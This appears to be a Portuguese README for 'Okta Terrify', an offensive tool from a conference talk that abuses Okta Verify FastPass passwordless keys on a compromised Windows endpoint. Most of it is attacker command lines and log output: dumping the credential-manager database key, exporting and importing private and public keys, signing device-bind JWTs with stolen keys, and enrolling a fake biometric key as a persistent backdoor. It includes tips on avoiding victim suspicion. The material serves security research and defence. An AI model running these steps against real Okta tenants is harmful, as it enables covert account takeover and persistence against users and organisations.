Esta ferramenta foi lançada como parte de minha palestra BSides Cymru 2024, Okta Terrify: Persistence in a Passwordless World. A apresentação e o vídeo de demonstração foram incluídos neste repositório.
Okta Terrify é uma ferramenta para demonstrar como soluções sem senha, como FastPass do Okta Verify ou outras soluções do tipo FIDO2/WebAuthn, podem ser abusadas quando um endpoint do autenticador for comprometido. Embora o Okta Terrify demonstre ataques específicos do Okta, a mesma metodologia normalmente se aplicaria a outras soluções sem senha, já que geralmente todas utilizam criptografia assimétrica.
A autenticação sem senha funciona por meio de pares de chaves públicas/privadas. Normalmente, existem dois tipos de chaves geradas durante o registro do autenticador: Proof Of Possession
e User Verification
. Combinadas, ambas as chaves satisfazem o elemento multifatorial de autenticação que as organizações buscam como parte dos esforços contínuos para proteger seus usuários.
A chave de prova de posse foi projetada para fazer exatamente isso, provar a presença de um autenticador e/ou usuário específico durante a autenticação. No caso do Okta, a chave de prova de posse é utilizada para determinar a presença do autenticador e do usuário, uma vez que em cenários multiusuário são geradas chaves de prova de posse exclusivas por usuário. A chave de prova de posse é normalmente uma chave silenciosa, que não requer qualquer forma de dados biométricos para desbloquear seu uso além do próprio sistema operacional, como uma sessão de usuário autenticada do Windows. Quando disponível, esta chave será apoiada por um TPM e, portanto, não será possível exportá-la do dispositivo. Quando um TPM não está disponível, essa chave é gerada apenas como uma chave de software.
A chave de verificação do usuário também fornece prova de posse, mas também verifica se o usuário está realmente ciente de que a autenticação está ocorrendo. Isto é conseguido através de dados biométricos, muitas vezes uma impressão digital ou reconhecimento facial, mas também é apoiado por um PIN. Em dispositivos baseados no Windows, isso normalmente é implementado usando o Windows Hello. As operações de assinatura não funcionarão sem os dados biométricos corretos fornecidos. Algumas soluções sem senha usarão apenas a chave de verificação do usuário para satisfazer ambos os fatores. A desvantagem desta abordagem é que cada operação de assinatura exigirá dados biométricos dos usuários. No caso do Okta, por exemplo, a chave de prova de posse pode ser usada como um fator distinto durante a autenticação junto com um fator septado, como a senha do usuário. Novamente, essa chave é apoiada por um TPM, quando disponível, ou gerada em software, caso contrário.
Ok, chega desse histórico sobre sem senha, vamos ao que interessa. Embora os mesmos conceitos existam em todos os dispositivos Okta Verify suportados, daqui em diante discutiremos como funciona a versão Windows do Okta Verify.
Okta armazena informações do autenticador dentro de um banco de dados SQLite criptografado. Existem duas versões diferentes do banco de dados, a versão herdada armazenada em um arquivo chamado OVStore.db
que usa o SID do usuário como base da chave de criptografia passada por um algoritmo XOR customizado e uma chave fixa. A versão mais recente é chamada DataStore.db
e usa um valor aleatório armazenado no gerenciador de credenciais. Essa credencial é passada por um algoritmo XOR semelhante ao formato legado. O banco de dados é armazenado em %LocalAppData%OktaOktaVerify
. O banco de dados contém os IDs de chave gerados para o comprovante de posse e para a chave de verificação do usuário que são gerados durante o registro do dispositivo. O banco de dados também contém outros metadados úteis, como IDs de dispositivo, usuário e autenticador, juntamente com a URL do locatário do Okta para as contas registradas.
Okta Terrify é dividido em dois componentes distintos. Okta Terrify e OktaInk.
Okta Terrify foi projetado para ser executado na máquina do invasor. A ferramenta requer o SID dos usuários e um arquivo de banco de dados com formato de banco de dados legado e para o formato mais recente, a chave do banco de dados. Para o formato mais recente, a chave do banco de dados pode ser gerada usando OktaInk. Okta Terrify possui 4 modos de operação controlados por vários interruptores.
O modo --info
simplesmente despeja informações contidas no banco de dados.
Banco de dados legado
OktaTerrify.exe --info -s S-1-5-21-*******-1001 --db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
2023-11-21 11:49:56.2243|INFO|OktaTerrify|Okta Terrify is starting....
C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
Database Encryption Key: 3a9d6ad1643f2608479c976f1a2ebcb98c115c379d8dfaa2bb6ab2c65c286250
User Id: 00u8*******
Client Instance Id: cli*******
Device Id: guo9**********
Authenticator Url: https://tenant.okta.com/api/v1/authenticators/aut*****
Method Enrollment Id: crp*****
Device Enrollment Id: pfd*****
Sandbox Account Name: None
Keys:
Id: SFT_********, Sandboxed: No, Type ProofOfPossession
Id: BOL_********, Sandboxed: No, Type UserVerification
Id: SFT_********, Sandboxed: No, Type DeviceAttestation
Banco de dados mais recente
OktaTerrify.exe --info -s S-1-5-21-*******-1001 --db C:UsersTesterAppDataLocalOktaOktaVerifyDataStore.db --dbkey a156a0b42c....6dd83f701
2023-11-21 11:49:56.2243|INFO|OktaTerrify|Okta Terrify is starting....
C:UsersTesterAppDataLocalOktaOktaVerifyDataStore.db
Database Encryption Key: 3a9d6ad1643f2608479c976f1a2ebcb98c115c379d8dfaa2bb6ab2c65c286250
User Id: 00u8*******
Client Instance Id: cli*******
Device Id: guo9**********
Authenticator Url: https://tenant.okta.com/api/v1/authenticators/aut*****
Method Enrollment Id: crp*****
Device Enrollment Id: pfd*****
Sandbox Account Name: None
Keys:
Id: SFT_********, Sandboxed: No, Type ProofOfPossession
Id: BOL_********, Sandboxed: No, Type UserVerification
Id: SFT_********, Sandboxed: No, Type DeviceAttestation
No modo --backdoor
, o Okta Terrify iniciará a URL do locatário do Okta usando o ID do cliente OAuth que o aplicativo oficial do Okta Verify usa durante o registro. Isso normalmente acionará o fluxo de autenticação e o modo de assinatura estará ativo durante esta fase. Depois que uma sessão autenticada é criada, uma nova chave de verificação do usuário é gerada no dispositivo atacante e registrada como uma chave biométrica falsa. Depois que a chave for registrada, o FastPass operará sem senha, sem qualquer dependência do dispositivo autenticador original comprometido.
OktaTerrify.exe -b -s S-1-5-21-********-1001 -db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db -v
2023-11-21 11:47:10.4741|INFO|OktaTerrify|Okta Terrify is starting....
2023-11-21 11:47:10.5057|INFO|OktaTerrify.Oidc.LoopbackHttpListener|HTTP server listening on loopback ports 8769 65112
[=] Sign the device bind JWT on the enrolled Okta Verify device
OktaInk -o SignDeviceBind -k BOL_************ -d pfd******** -u 00u******** -n bGI******** -t ftt******** -a https://tenant.okta.com -m crp**** -v
[.] Enter DeviceBind JWT:
eyJraW......
2023-11-21 11:47:43.9337|INFO|OktaTerrify|Signed JWT accepted, factor accepted
2023-11-21 11:47:48.5310|INFO|OktaTerrify|Authenticated as user [email protected], enrolling a fake userVerify TPM key
2023-11-21 11:47:48.5464|INFO|OktaTerrify|Generated new fake hardware biometric key and saved to file BD_******.key
[=] I now need the existing userVerification public key
OktaInk -o ExportPublic -k BOL_************
[.] Enter userVerification public key:
nOng....
2023-11-21 11:48:05.1047|INFO|OktaTerrify|Passwordless persistence successful, now running in FastPass mode
2023-11-21 11:48:05.1047|INFO|OktaTerrify|Running in backdoor mode, press ESC to exit
No modo --sign
, durante a autenticação do Okta, os desafios são assinados localmente por meio de chaves exfiltradas ou podem ser enviados por proxy para o OktaInk em execução em um autenticador comprometido quando chaves suportadas por hardware estão presentes.
OktaTerrify.exe --sign -s S-1-5-21-******-1001 -db C:UsersTesterAppDataLocalOktaOktaVerifyOVStore.db
2023-11-21 16:54:33.9386|INFO|OktaTerrify|Okta Terrify is starting....
2023-11-21 16:54:34.0014|INFO|OktaTerrify.Oidc.LoopbackHttpListener|HTTP server listening on loopback ports 8769 65112
2023-11-21 16:54:34.0014|INFO|OktaTerrify|Running in signing mode, press ESC to exit
2023-11-21 16:54:54.7414|WARN|OktaTerrify|!!WARNING!! - Incoming sign request for the user verification key, this will cause a popup on the victim machine to enter user verification PIN/Password because no local key exists. To force generation of user verification key signing, add the -v argument. Falling back to proof of possession key
[=] Sign the device bind JWT on the enrolled Okta Verify device
OktaInk -o SignDeviceBind -k SFT_********** -d pfd***** -u 00u****** -n C7bG****** -t ft4Kw******* -a https://tenant.okta.com -m crp*******
[.] Enter DeviceBind JWT:
eyJra.....
2023-11-24 16:55:10.8214|INFO|OktaTerrify|Signed JWT accepted, factor accepted
O modo --import
salvará prova de posse definida por software e chaves de verificação do usuário que foram extraídas usando Okta Ink.
OktaTerrify --import -k SFT_****** -p UlNBMgAIAAAD....M=
O Okta Ink foi projetado para ser executado no dispositivo autenticador comprometido. O aplicativo suporta 4 tipos de operações.
Para o formato de banco de dados mais recente, --operation DumpDBKey
pode ser usado para despejar a chave do banco de dados para o arquivo DataStore.db
. A chave pode então ser usada como parâmetro para OkaInk.
OktaTerrify --import -k SFT_****** -p UlNBMgAIAAAD....M=
OktaInk -o DumpDBKey
[=] Credential manager key name: OKTA_VERIFY_STORE_ZfH+9F42Ch3X2+dZBFX3FCMtPnctn6lk8MqsCoH/Osc=
[+] DB Key: a156a....83f701
Durante o fluxo de autenticação do Okta, um JWT de resposta de desafio é gerado para provar que a prova de presença ou a chave de verificação do usuário está disponível. O modo --operation SignDeviceBind
pode ser usado para assinar o JWT gerado com a chave de prova de posse, que é silenciosa. Se quiser realizar autenticação sem senha, você também pode assinar com a chave de verificação do usuário adicionando o argumento -v
. AVISO - Ao solicitar a chave de verificação do usuário, o usuário vítima será obrigado a realizar a validação biométrica e, portanto, poderá levantar suspeitas.
O Okta Verify também registra uma chave de atestado de dispositivo, que é uma chave silenciosa. Essa chave parece ser usada quando alterações estão sendo feitas no dispositivo autenticador registrado por meio de chamadas de API da web no locatário do Okta. Mas parece que, por padrão, o atestado do dispositivo não é obrigatório, portanto, a assinatura não é necessária. Independentemente disso, esse modo pode ser aproveitado por meio dos argumentos --operation SignDeviceAttestation
.
Para dispositivos que não suportam TPM, a linha de comando --operation ExportPrivate
pode ser usada para exportar todas as chaves registradas no dispositivo. As chaves de prova de posse estão vinculadas à chave DPAPI do usuário e, portanto, a senha do usuário deve ser conhecida.
Durante o processo de inscrição backdoor, precisamos garantir que as chaves públicas existentes sejam retidas nos dados do autenticador de locatário. --operation ExportPublic
facilita isso exportando a chave pública associada a um ID de chave específico.
OktaInk -o ExportPublic -k BOL_******************
nOngWn_Bd8IH_8GJTjGeXpf....